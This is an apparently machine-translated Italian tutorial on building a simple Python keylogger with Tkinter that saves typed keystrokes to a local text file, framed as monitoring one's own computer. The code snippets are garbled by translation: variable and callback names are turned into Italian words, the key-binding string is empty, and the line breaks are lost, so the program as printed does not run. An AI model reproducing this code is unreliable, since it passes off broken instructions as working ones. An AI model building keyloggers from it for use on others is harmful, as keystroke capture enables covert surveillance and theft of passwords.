Come creare un keylogger usando Python

Donna al computer che si guarda alle spalle

Cattura le sequenze di tasti e salvale in un file.

Credito immagine: Jupiterimages/Photos.com/Getty Images

Puoi creare un programma keylogger utilizzando Python per acquisire le sequenze di tasti digitate tramite la tastiera di un computer. Le sequenze di tasti vengono salvate in un file di testo e registra tutti gli input. Puoi utilizzare un keylogger per monitorare l'attività sul tuo computer.

Passo 1

Avvia IDLE, fai clic sul menu "File" e seleziona "Nuova finestra" per avviare una nuova finestra. Premi Ctrl e S per avviare la finestra "Salva con nome". Usa "getKeyLogger" come nome del file e fai clic su "Salva".

Video del giorno

Passo 2

Aggiungi la seguente riga di codice per importare lo spazio dei nomi "Tkinter" e definisci il percorso del file che desideri utilizzare per il log:

import Tkinter as tk myFile = open("C:/temp/keyFile.txt", "w")

Passaggio 3

Copia e incolla il seguente codice per salvare ogni sequenza di tasti nel file:

def keypress (event): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Passaggio 4

Aggiungi il seguente codice per far sapere a un utente che può iniziare a digitare e che può premere Esc per terminare il programma:

principale = tk. Tk() print "Premi un tasto qualsiasi (tasto Esc per uscire):" main.bind_all('', pressione dei tasti) main.withdraw() main.mainloop() myFile.close()

Passaggio 5

Fare clic sul pulsante Start di "Windows" e digitare "cmd" nella casella "Cerca programmi e file". Premi Invio per aprire il prompt dei comandi. Vai a "C:\Python" e digita "python getKeyLogger." Premi Invio per eseguire il programma. Vai su "C:/temp/" e fai doppio clic su "keyFile.txt" per visualizzare i dati della sequenza di tasti.